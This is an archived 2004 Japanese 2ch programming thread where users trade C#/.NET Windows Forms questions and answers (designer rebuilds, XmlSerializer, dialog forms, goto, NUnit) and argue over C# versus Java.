内部で完結してしまっている(というかpanel一枚おいただけ)ので DesignMode は関係ないのではと・・・思うのですが・・・
いろいろやってみた所、コントロールのDLLをプロジェクトコンパイルした後、
一度VSを起動しなおしてから、目的のプロジェクトをコンパイルすれば
同一リソリューション中にプロジェクトを入れても問題は発生しないようです。


567:デフォルトの名無しさん
04/11/10 18:37:58
>>566
間違いです×>>565
>>563


568:デフォルトの名無しさん
04/11/10 19:01:02
>>565
あんたが正しい。>>549は厚かましいにもほどがあると思う。

569:デフォルトの名無しさん
04/11/10 20:27:41
>>566
今ためしてみました。
1. 新規のソリューションに UserControl プロジェクトを追加。パネル1枚とLabelを配置。
2. Windows アプリケーションプロジェクトを追加。デザイナで上記のUserControlをFormに配置。
 (参照は自動的に追加される)
3. (ビルドしたりする)
4. UserControl の Label の文字列を変更⇒「デザイナに反映するにはリビルドが必要です」とか言われる
5. おとなしくリビルド。Form 側のデザイナに文字列の変更が反映される。
という感じで特に問題は起きません。

 同一ソリューション内のユーザーコントロールは、ツールボックスの「マイ ユーザー コントロール」に
自動的に追加されるわけだし、「同一リソリューション中にプロジェクトを入れても問題は発生しない」のが
普通なんだと思います。

570:デフォルトの名無しさん
04/11/10 21:10:42
int a,b;
Point p;

p = new (a,b);
ってするのと
p.X = a;
p.Y = b;
ってするのとどっちが早いんですか?
生成されるコードは同じですか?

571:デフォルトの名無しさん
04/11/10 21:21:07
>>569
わざわざどうも有難うございます、そうするともっと別のところに原因がありそうですね。
さらに調べてみます。
ちなみに僕のところでは「デザイナに反映するにはリビルドが必要です」が出ないんですよね。
何故だろう?
実は、xmlドキュメントも反映されないのですが、これはそちらでは反映されるものでしょうか?
これも
1.dll側のプロジェクトをビルドする
2.VSを一旦落とす
3.再起動してアプリ側プロジェクトを操作する
という形でないと、僕の所では自働補完が機能しません。
これもちょっと気になるのですが、もしお邪魔でなければ試してもらえませんでしょうか?

572:570
04/11/10 21:22:06
int a,b,c,d;
Point p = new Point(c,d);
に最初の二行を訂正します。


573:デフォルトの名無しさん
04/11/10 21:42:17
>>570
自分で試せるし調べられるだろ?

574:デフォルトの名無しさん
04/11/10 22:24:16
>>571
EXE側コード編集時にはインテリセンスは効くものの、XMLドキュメントで書いた情報は出てきません。
オブジェクトブラウザで見るとちゃんと見えるんだけど。
調べてみると、参照を追加した時点で XMLドキュメントが無いと出てこないみたいです。
参照を一旦削除して、再度追加してあげればOKでした(アセンブリ直指定ではなく、プロジェクト出力を追加しました)。

しかしこの状態では、DLLを更新した際にXMLドキュメントファイルのローカルコピーがVSによって使用中のため更新できずに、EXE側はビルドエラーになります(DLL自体は更新できるのに・・・)。
DLLへの参照について一旦ローカルコピーをFalseにしてビルド、再びONにしてビルドとか、
一旦終了してDLL側から順にビルドという手順が必要でした。

以下はXMLドキュメントを更新しようとした際のエラー
>ファイル 'WindowsControlLibrary1.xml' を実行ディレクトリにコピーできません。 プロセスはファイルに
>アクセスできません。別のプロセスが使用中です。
一時ファイルを出力ディレクトリにコピーできませんでした。

こういう構成の時には、DLL開発中はXMLドキュメントを生成しない方が良さそう・・・

575:570
04/11/10 22:44:24
Point[] p = new Point[9999999];
Point[] q = newPoint[9999999];
Point[] r = newPoint[9999999];
Point[] s = newPoint[9999999];
って一杯point作ってためしたら X,Yそれぞれに代入するほうが早かったです。

576:デフォルトの名無しさん
04/11/11 17:47:02
XMLSerializerを使ってさんざんスレ汚しやってる>>454その他です
度々で(´・ω・`)ですがおながいします

public void func (Object obj)
{
MemoryStream ms = new MemoryStream();
XmlSerializer serializer = new XmlSerializer(obj.GetType());
serializer.Serialize(ms,obj);
・・・・
}

引数でボクシングされたオブジェクトをシリアライズしようとしたとき、
メンバがシリアライズされません(つД`)
><?xml version="1.0" encoding="utf-8"?>
><class2 xmlns:xsd="URLリンク(www.w3.org)" xmlns:xsi="URLリンク(www.w3.org)" />
こんな感じになります。ちなみにClass2にはためしにstring型1個つっこんでます

XmlSerializeを使ってボクシングしたオブジェクトのメンバをまるごとシリアライズする手段ってありますか?

577:デフォルトの名無しさん
04/11/11 18:00:01
>>576
>ちなみにClass2にはためしにstring型1個つっこんでます

それちゃんと public になってますか?

578:デフォルトの名無しさん
04/11/11 18:11:58
>>577
できました
ありがとうございました吊ってきます

・・・・オレのバカバカバカ・・・・

579:デフォルトの名無しさん
04/11/11 19:53:05
URLリンク(homepage3.nifty.com)
上のページの、「実行時間の高精度な計測」というのを使ってみたくていろいろやってたのですが、
どうしてもusingと;のところで「無効なトークン・・・」というビルドエラーが出でしまいます。
どうしたらよいでしょうか。
VSのC#使ってます

580:デフォルトの名無しさん
04/11/11 20:01:25
>>579
usingはコードの先頭、他にも色々usingされてるところに書く。

581:デフォルトの名無しさん
04/11/11 20:04:57
>>579
そのページのコード、間違ってるような気がする。using ステートメントのカッコの中は、
 1. 式
 2. 型名 変数名 = 式 [, 変数名 = 式 ] ...
のどちらかという形式で、そのページにあるように変数宣言やら式やらを混ぜてカンマで並べたりはできない。

>>578 のいう using はたぶんまた別の using なので無視。

582:581
04/11/11 20:05:50
首吊ります・・・ orz




583:579
04/11/11 20:07:15
>>780
ごめんなさい、自分の貧弱な脳みそでは理解できないのですが、
こういうことですか?

using System.Runtime.InteropServices ; // for DllImport
・・・
private void button1_Click(object sender, System.EventArgs e)
{       
・・・
}    

584:デフォルトの名無しさん
04/11/11 21:46:32
>>579
うろ覚えだから難だがコピペして実行しようとしたときオレも
using System.Runtime.InteropServices ;でコケた
んで、なぜかintelliSenseで同じ内容指定したら動いた

585:デフォルトの名無しさん
04/11/11 21:54:37
} がありません
って言うコンパイルエラーがなぜか出て
ファイル内のテキストを丸ごと切り取って貼り付けたら
正常にコンパイルできたことがあったなあ

586:579
04/11/12 07:48:29
解決しました。
using.System.Runtime~を一番上の
using~というのがたくさんある所
に置いたら実行出来ました。
ありがとうございました。

587:デフォルトの名無しさん
04/11/12 10:54:21
 C#ちょこっと触って、やっぱVB.netにして、「すげえー便利最高」って
思って、やっぱC#の方がいいかなとおもって、迷ってんだけど。
絶対C#がいいってとこある? 

588:デフォルトの名無しさん
04/11/12 10:58:40
べつに~

589:デフォルトの名無しさん
04/11/12 11:03:34
VB系に慣れてたらVB.NET、C/JAVA系に慣れてたらC#。
私はVBの文法が大ッ嫌いなのでC#。

590:デフォルトの名無しさん
04/11/12 12:06:42
>588
 別にーってお前なー。なんか言うことないんか?

>589
 マイコンはCで、PCはVB6で EXCELとAutocadとVisioと、、、、はVBAなの。
JAVAって20年?も前の言語だろ。
今頃になって真似してマトモニなっても、VBで脳みそ破壊されてるからなー。


591:デフォルトの名無しさん
04/11/12 12:11:47
まず日本語から勉強するべきだな。

592:デフォルトの名無しさん
04/11/12 13:29:41
植民地だし、英語だろ。

593:デフォルトの名無しさん
04/11/12 15:26:54
PictureBoxにAllowDropのプロパティがないのに、Drag&Dropのイベントハンドラがあるのは、ライブラリの設計ミスか?
デフォルトでnoneになって、メッセージ発生しないんだが・・・。


594:デフォルトの名無しさん
04/11/12 15:49:42
>>593
なぜかEditorBrowsableAttributeもBrowsableAttributeも不可視の設定になってるから
インテリセンスにもプロパティグリッドにも表示されないけど、
AllowDrop{get; set;}はあるしtrueにしてやれば普通にD&Dも可能。
//やっぱり中途半端……。

595:デフォルトの名無しさん
04/11/12 15:51:06
>>593
つ[インシデント]

596:デフォルトの名無しさん
04/11/12 17:42:36
>>574
OCNがアク禁になっていたので遅レスです、どもわざわざ有難うごさいます。
XMLに関しては同じです、コントロールのところだけの問題か……むむむ
取りあえず助かります。


597:デフォルトの名無しさん
04/11/12 23:37:17
CreateDIBSectionを使っているのですが、
どうやったら、PictureBOXのhDCを取得できますでしょうか?
C#でCreateDIBSectionを使ったサンプル等ありましたら、
お教えください。よろしくお願いします。


598:デフォルトの名無しさん
04/11/12 23:43:11
                \ │ /
                 / ̄\   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
               ─( ゚ ∀ ゚ )< くっちゃらはぴはぴ!
                 \_/   \_________
                / │ \
                    ∩ ∧ ∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\∩ ∧ ∧ \( ゚∀゚)< くっちゃらはぴはぴ!
Py厨~~~~!    >( ゚∀゚ )/ |    / \__________
________/ |    〈 |   |
              / /\_」 / /\」               ̄     / /


599:デフォルトの名無しさん
04/11/12 23:47:59
PictureBox.CreateGraphics().GetHdc()
ReleaseHdc()とGraphics.Dispose()もセットで。

URLリンク(www.codeproject.com)
DIBSectionのラッパクラスだそうだ。

600:デフォルトの名無しさん
04/11/12 23:59:30
NUnitだけど、exeファイルをテストする事は出来ないよね?
で、以下のような仕組みにしている。

作成中のプロジェクトをWindowsアプリからクラスライブラリに変更
 -> MyAppCore.dll
作成中のプロジェクトを走らせるだけのWindowsアプリ・プロジェクトを作成
 -> MyAppRunner.exe(MyAppCore.dllを参照に追加)
内部的なコードはMyAppCore.dllの起動関数を呼び出すだけ。
テストプロジェクト
 -> Test.dll(MyAppCore.dllを参照に追加)

まぁなんというか、もっとスマートなやり方はないのかなと思った次第。

601:デフォルトの名無しさん
04/11/13 00:17:15
>>600
少なくともVer2.2ならできるよ

602:600
04/11/14 10:00:00
2.2使ってます。
自分はテストコードをアプリ本体に入れたくないんですよね。
テストとアプリのプロジェクトを分けるとテスト側からアプリのコードを呼ぶために
アプリ側をDLLにしなくちゃいけない・・・
って、今、思いついたんだけど、テストコードを全部#if DEBUGで
くくっとけばいいのか!
なわけで、解決っぽい。

603:デフォルトの名無しさん
04/11/18 16:46:30
ShowDialogで表示したダイアログを移動した時
元のフォームも一緒に移動したいのですが
可能でしょうか?
可能な場合どのようにすればいいのでしょうか

604:デフォルトの名無しさん
04/11/18 17:07:01
>>604
お兄さんそりゃFormでダイアログもどき作った方が楽でっせ

605:603
04/11/18 17:26:57
すいません。言葉足らずでした。
メインフォームがあって編集用のフォームを
メインフォームの上にモーダルで表示したとして、
編集用のフォームを移動した時に、
メインフォームも一緒に動かしたいなと思ったのです。

606:デフォルトの名無しさん
04/11/18 17:52:59
>>605
ダイアログフォーム呼出時に、ダイアログフォームのOwnerプロパティに親フォーム自身を設定する。

ダイアログフォームの方で、
位置保存用のメンバ変数を作っておく。
Moveイベントで、Ownerプロパティから親フォームの位置を設定し、その後位置保存用変数を更新する。

基本はこんな感じ。
初めの位置保存はLoadかVisibleChangedでやるのが妥当かな。
Moveイベントへのイベントハンドラ追加もLoadでやるか、Moveイベント内でCreatedをチェックするかとか。

//MoveがMoveEventArgsとか言って移動前の位置のプロパティを持っててくれれば楽なのになー。

607:在日外国人参政権反対
04/11/18 18:02:02
きくまえにMoveWindowとか試してみろよ。

608:デフォルトの名無しさん
04/11/18 22:46:15
そうだな。それっぽい名前のを色々弄ってみるのは大事だと思うよ。

609:603
04/11/19 04:43:21
>>606さん。レスありがとうございます。
とりあえず以下のようにやってみましたが上手くいきませんでした。

MainFormとEditFormがあったとして
MainFormでButton1をクリックしたときに

EditForm editDialog = new EditForm();
editDialog.ShowDialog(this);

としてEditFormで

public static int x,y; //Location用変数(publicはとりあえずで付けました)
private void EditForm_Move(object sender, System.EventArgs e)
{
x = this.Location.X;
y = this.Location.Y;

ここにMainForm.Location = new Point(x,y);
見たいな事が出来れば良いんですよね?
色々弄ってみたのですが分かりませんでした (--
}

>>Moveイベントへのイベントハンドラ追加もLoadでやるか、Moveイベント内でCreatedをチェックするかとか。
すいません。この意味が分かりませんでした。

610:デフォルトの名無しさん
04/11/19 08:01:59

public class Form1 : System.Windows.Forms.Form
{
    //中略

    private void button1_Click(object sender, System.EventArgs e)
    {
        Form f;
        f = new Form();
        //f = new EditForm();

        f.Move += new EventHandler(childForm_Move);

        f.ShowDialog(this);
    }

    private void childForm_Move(object sender, EventArgs e)
    {
        Form f = (Form)sender;

        int x = f.Location.X - 100;
        int y = f.Location.Y - 100;
        this.Location = new Point(x, y);
    }
}


611:603
04/11/19 10:04:31
>>610さん
見事に動きました!
それにしてもインテリセンスで「TABキーを押してください」って
こんな指示始めてみましたよ。(^^;;
ありがとうございました。

MainFormがくっついて動いているのが嬉しくて意味もなく動かしニヤってしてみたり。。

612:初心者
04/11/19 21:49:40
C/C++でマウスの座標を表示させるにはどうしたらいいでしょうか。

613:デフォルトの名無しさん
04/11/19 21:53:40
>>612
スレ違い。
URLリンク(www.kumei.ne.jp)
でも読んでください。

614:デフォルトの名無しさん
04/11/19 21:55:53
> 当ホーム・ページの一部または全部を無断で複写、複製、転載
> あるいはコンピュータ等のファイルに保存することを禁じます。

ブラウザのキャッシュ消すのまんどくせ

615:初心者
04/11/19 22:10:41
ありがとうございました。とりあえず何とかなりそうです。

616:デフォルトの名無しさん
04/11/20 16:24:44
Formにいろいろ描きたいので
private void Form3_Paint(object sender, System.Windows.Forms.PaintEventArgs e)
に記述したのですが、
リサイズ時に再描画されるときとされないときがあるみたいです。
されないときは一度最小化してから元に戻すと再描画されるのですが
リサイズ時に確実に再描画されるほうほうってないでしょうか?


617:デフォルトの名無しさん
04/11/20 16:26:47
ResizeRedraw

618:616
04/11/20 23:58:04
>>617さん
ありがとうございました。 ぶじ動くようになりました。

619:デフォルトの名無しさん
04/11/22 10:07:34


620:デフォルトの名無しさん
04/11/22 17:00:39
クラスをいくつかのファイルの分割して記述する方法はあるんでしょうか?
もしあったら教えてください。


621:デフォルトの名無しさん
04/11/22 19:32:31
>>620
partialキーワードがC# 2.0から追加される。

622:デフォルトの名無しさん
04/11/26 13:13:34
C#って、アセンブリで言うgoto命令のような物ってありますか?
あれば教えてください。

623:デフォルトの名無しさん
04/11/26 13:18:20
普通にgotoがある。
ネストループからの脱出以外に使うべきではないが。

624:デフォルトの名無しさん
04/11/26 13:32:27
つうか言語仕様ぐらい大した量でもないんだから全部目を通せと。

625:デフォルトの名無しさん
04/11/26 13:59:29
せめてキーワードくらいはなぁ・・・

626:622
04/11/26 15:42:40
623-625
ありがとうございます
もっかい勉強しなおします…

627:デフォルトの名無しさん
04/11/26 16:04:00
>>626
C#のgotoはswitch 文の case とかを飛び先としても指定できるように拡張されているので、
いろいろみてみると面白いよ。
どうせなら、gcc拡張的なgotoの拡張もついでにやってくれるといいんだけど・・・

628:デフォルトの名無しさん
04/11/27 15:16:17
正直いって .NET って時期尚早って感じがする。
広くに使われるようになるまでに後5年はかかると見た。

629:デフォルトの名無しさん
04/11/27 15:33:56
5年もかからないよ
後2年で半分は消滅する

WindowsFormクラスは消滅けってい
GDI+もいらなくなる

すべてロングホーンが悪い

630:デフォルトの名無しさん
04/11/27 15:35:50
ロングホーンってヘヴィィそうだね。
使いたいと思わないな。
Windows 2000 が最高。

631:デフォルトの名無しさん
04/11/27 15:47:45







C# と Java の違い教えろ。





// Java >>>>> C# なのは自明なんだがな。。。






632:デフォルトの名無しさん
04/11/27 15:50:05
>>631
少しも自明じゃない。

633:デフォルトの名無しさん
04/11/27 15:50:34
火病書き込みに反応すんなよ

634:デフォルトの名無しさん
04/11/27 15:52:20
>>632

ライブラリの充実性からいって自明だろ。
それにJava のソースは公開されてるしな。
格が違いすぎるんだよ。


635:デフォルトの名無しさん
04/11/27 15:52:35
自演に反応すんなよ

636:デフォルトの名無しさん
04/11/27 15:53:47
>>634
そうかな。Java のほうが充実していると一概に言えるか?
ソース公開は確かによいが。

637:デフォルトの名無しさん
04/11/27 15:54:20


                        お
                      い
                    は
                  や
                く
              し
            ろ
          よ
        
      C
    #
  




638:デフォルトの名無しさん
04/11/27 15:55:40
公開されていない部分があったような...なんだったっけ

639:デフォルトの名無しさん
04/11/27 15:56:17
残念ながらC#は仕様が公開されてますので
ソースがほしけりゃmonoのソースでもみてください

Javaはソースコード見た時点で
いろんなプロジェクトに参加できなくなるという恐ろしいライセンスつきですが?

640:デフォルトの名無しさん
04/11/27 15:56:18
>>636
> そうかな。Java のほうが充実していると一概に言えるか?

言える。

641:デフォルトの名無しさん
04/11/27 15:57:15
>>639
> Javaはソースコード見た時点で
> いろんなプロジェクトに参加できなくなるという恐ろしいライセンスつきですが?

見たって言わなきゃいーんだよ。そんぐれー考えろ

642:デフォルトの名無しさん
04/11/27 15:57:18
まぁ速度はJavaのほうが2倍かかるけどな

あとはマ板でやってちょ

●なぜJava厨はそんなに劣っているのか? 8
スレリンク(prog板)

643:デフォルトの名無しさん
04/11/27 15:59:59
>>640
C# のほうが充実している部分もあるのだが。

644:デフォルトの名無しさん
04/11/27 16:00:15

  や
    く
      何
        か
          反
            論
              し
                な
                  さ
                    い
                      、
                        C
                          #
                            
                              厨
                                君
                                  w
                                    w
                                      w

645:デフォルトの名無しさん
04/11/27 16:12:45
なんか盛り上がってますね

646:デフォルトの名無しさん
04/11/27 16:35:49
いやべつに

647:デフォルトの名無しさん
04/11/27 17:33:33
暴言語は冗談抜きで死滅寸前だからな

648:デフォルトの名無しさん
04/11/27 22:03:04
言語としての機能は、後発のC#のが多少上。
ライブラリの充実度はjakartaやその他もろもろのオプソ集団を要するJavaのが上。
業務では、GUI作らないならJavaを用いるのが普通。



649:デフォルトの名無しさん
04/11/28 01:52:43
シェアで言えばJAVAよりVB.NET2005にヤラレそうな気がする

650:デフォルトの名無しさん
04/11/28 11:51:59
VBは今現在でもC#より上、将来は知らんがね。


651:デフォルトの名無しさん
04/11/28 12:24:08
えぇぇぇぇ

652:デフォルトの名無しさん
04/11/28 12:27:21
お前ら>>1読めと。
ここは言語の優劣を語るスレではないぞと。

653:デフォルトの名無しさん
04/11/28 15:03:14
最高に頭悪そうな発言してください in ム板 (2)
スレリンク(tech板)

かと思ったじゃねぇか

654:デフォルトの名無しさん
04/11/30 00:09:17
C#を学習する練習とおもい、メモ帳もどき+αを作成して
完成したのですが、巨大なファイルの表示に時間が
掛かります。
 秀丸エディタさんとまではいかないでも、少しは
早く表示できるようにするには、どうすればよいのでしょうか。
 textBoxを1から自分で作成し直すにしても、その考え方の
ヒントだけでも教えてください。


次ページ
最新レス表示
レスジャンプ
類似スレ一覧
スレッドの検索
話題のニュース
おまかせリスト
オプション
しおりを挟む
スレッドに書込
スレッドの一覧
暇つぶし2ch